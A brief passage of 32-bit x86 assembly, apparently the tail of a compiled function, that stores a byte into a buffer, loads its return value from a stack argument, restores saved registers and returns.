mov byte [eax + edi], bl
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
pop ebp
ret